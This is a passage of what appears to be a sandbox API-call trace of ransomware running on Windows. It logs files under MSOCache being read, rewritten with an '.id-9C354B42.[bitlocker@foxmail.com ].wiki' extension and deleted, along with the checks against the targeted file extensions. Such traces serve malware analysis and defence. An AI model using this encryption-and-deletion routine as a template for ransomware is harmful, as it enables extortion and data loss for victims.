lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0045.635] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.635] WriteFile (in: hFile=0x184, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.635] SetEndOfFile (hFile=0x184) returned 1 [0045.635] CloseHandle (hObject=0x184) returned 1 [0045.640] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.640] SetEndOfFile (hFile=0x170) returned 1 [0045.645] CloseHandle (hObject=0x170) returned 1 [0045.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.645] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0045.646] lstrlenW (lpString=".doc") returned 4 [0045.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString=".docx") returned 5 [0045.646] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0045.646] lstrlenW (lpString=".pdf") returned 4 [0045.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString=".xls") returned 4 [0045.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString=".xlsx") returned 5 [0045.646] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0045.646] lstrlenW (lpString=".ppt") returned 4 [0045.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0045.646] lstrlenW (lpString=".zip") returned 4 [0045.646] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.646] lstrlenW (lpString=".rar") returned 4 [0045.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString=".bz2") returned 4 [0045.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString=".7z") returned 3 [0045.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0045.646] lstrlenW (lpString=".dbf") returned 4 [0045.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0045.646] lstrlenW (lpString=".1cd") returned 4 [0045.646] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.014] lstrlenW (lpString=".jpg") returned 4 [0046.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.014] lstrlenW (lpString=".doc") returned 4 [0046.014] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.014] lstrlenW (lpString=".docx") returned 5 [0046.014] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0046.014] lstrlenW (lpString=".pdf") returned 4 [0046.014] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.014] lstrlenW (lpString=".xls") returned 4 [0046.014] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.014] lstrlenW (lpString=".xlsx") returned 5 [0046.014] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0046.014] lstrlenW (lpString=".ppt") returned 4 [0046.014] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.015] lstrlenW (lpString=".zip") returned 4 [0046.015] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.015] lstrlenW (lpString=".rar") returned 4 [0046.015] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.015] lstrlenW (lpString=".bz2") returned 4 [0046.015] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.015] lstrlenW (lpString=".7z") returned 3 [0046.015] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.015] lstrlenW (lpString=".dbf") returned 4 [0046.015] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.015] lstrlenW (lpString=".1cd") returned 4 [0046.015] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0046.015] lstrlenW (lpString=".jpg") returned 4 [0046.015] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.015] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.015] lstrlenW (lpString="Office32WW.xml") returned 14 [0046.015] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.016] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4274) returned 1 [0046.016] CloseHandle (hObject=0x19c) returned 1 [0046.016] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0046.016] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.016] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.016] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.016] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.016] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0046.017] GetLastError () returned 0x0 [0046.017] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0046.018] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0046.019] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.019] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.019] SetEndOfFile (hFile=0x1b4) returned 1 [0046.019] CloseHandle (hObject=0x1b4) returned 1 [0046.020] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.020] SetEndOfFile (hFile=0x19c) returned 1 [0046.021] CloseHandle (hObject=0x19c) returned 1 [0046.021] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.021] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0046.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".doc") returned 4 [0046.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString=".docx") returned 5 [0046.022] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.022] lstrlenW (lpString=".pdf") returned 4 [0046.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString=".xls") returned 4 [0046.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString=".xlsx") returned 5 [0046.022] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.022] lstrlenW (lpString=".ppt") returned 4 [0046.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".zip") returned 4 [0046.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.022] lstrlenW (lpString=".rar") returned 4 [0046.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString=".bz2") returned 4 [0046.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString=".7z") returned 3 [0046.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".dbf") returned 4 [0046.022] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".1cd") returned 4 [0046.022] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".jpg") returned 4 [0046.022] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.022] lstrlenW (lpString=".doc") returned 4 [0046.023] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString=".docx") returned 5 [0046.023] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.023] lstrlenW (lpString=".pdf") returned 4 [0046.023] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString=".xls") returned 4 [0046.023] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString=".xlsx") returned 5 [0046.023] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.023] lstrlenW (lpString=".ppt") returned 4 [0046.023] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.023] lstrlenW (lpString=".zip") returned 4 [0046.023] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.023] lstrlenW (lpString=".rar") returned 4 [0046.023] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString=".bz2") returned 4 [0046.023] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString=".7z") returned 3 [0046.023] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.023] lstrlenW (lpString=".dbf") returned 4 [0046.023] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.023] lstrlenW (lpString=".1cd") returned 4 [0046.023] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0046.023] lstrlenW (lpString=".jpg") returned 4 [0046.023] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.023] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.024] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0046.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.024] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6421) returned 1 [0046.024] CloseHandle (hObject=0x19c) returned 1 [0046.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0046.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.025] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.025] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0046.025] GetLastError () returned 0x0 [0046.025] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1915, lpOverlapped=0x0) returned 1 [0046.028] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0046.029] ReadFile (in: hFile=0x19c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.029] WriteFile (in: hFile=0x1b4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xee, lpOverlapped=0x0) returned 1 [0046.029] SetEndOfFile (hFile=0x1b4) returned 1 [0046.038] CloseHandle (hObject=0x1b4) returned 1 [0046.038] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.038] SetEndOfFile (hFile=0x19c) returned 1 [0046.039] CloseHandle (hObject=0x19c) returned 1 [0046.039] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0046.039] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString=".doc") returned 4 [0046.040] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString=".docx") returned 5 [0046.040] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.040] lstrlenW (lpString=".pdf") returned 4 [0046.040] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString=".xls") returned 4 [0046.040] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString=".xlsx") returned 5 [0046.040] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.040] lstrlenW (lpString=".ppt") returned 4 [0046.040] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString=".zip") returned 4 [0046.040] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.040] lstrlenW (lpString=".rar") returned 4 [0046.040] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString=".bz2") returned 4 [0046.040] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString=".7z") returned 3 [0046.040] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString=".dbf") returned 4 [0046.040] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString=".1cd") returned 4 [0046.040] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.040] lstrlenW (lpString=".jpg") returned 4 [0046.040] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.040] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString=".doc") returned 4 [0046.041] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString=".docx") returned 5 [0046.041] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0046.041] lstrlenW (lpString=".pdf") returned 4 [0046.041] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString=".xls") returned 4 [0046.041] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString=".xlsx") returned 5 [0046.041] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0046.041] lstrlenW (lpString=".ppt") returned 4 [0046.041] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString=".zip") returned 4 [0046.041] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.041] lstrlenW (lpString=".rar") returned 4 [0046.041] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString=".bz2") returned 4 [0046.041] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString=".7z") returned 3 [0046.041] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString=".dbf") returned 4 [0046.041] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString=".1cd") returned 4 [0046.041] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.041] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0046.041] lstrlenW (lpString=".jpg") returned 4 [0046.041] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.042] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0046.042] lstrlenW (lpString="Setup.xml") returned 9 [0046.042] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.042] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16683) returned 1 [0046.042] CloseHandle (hObject=0x19c) returned 1 [0046.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0046.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0046.042] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.042] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.042] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.042] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 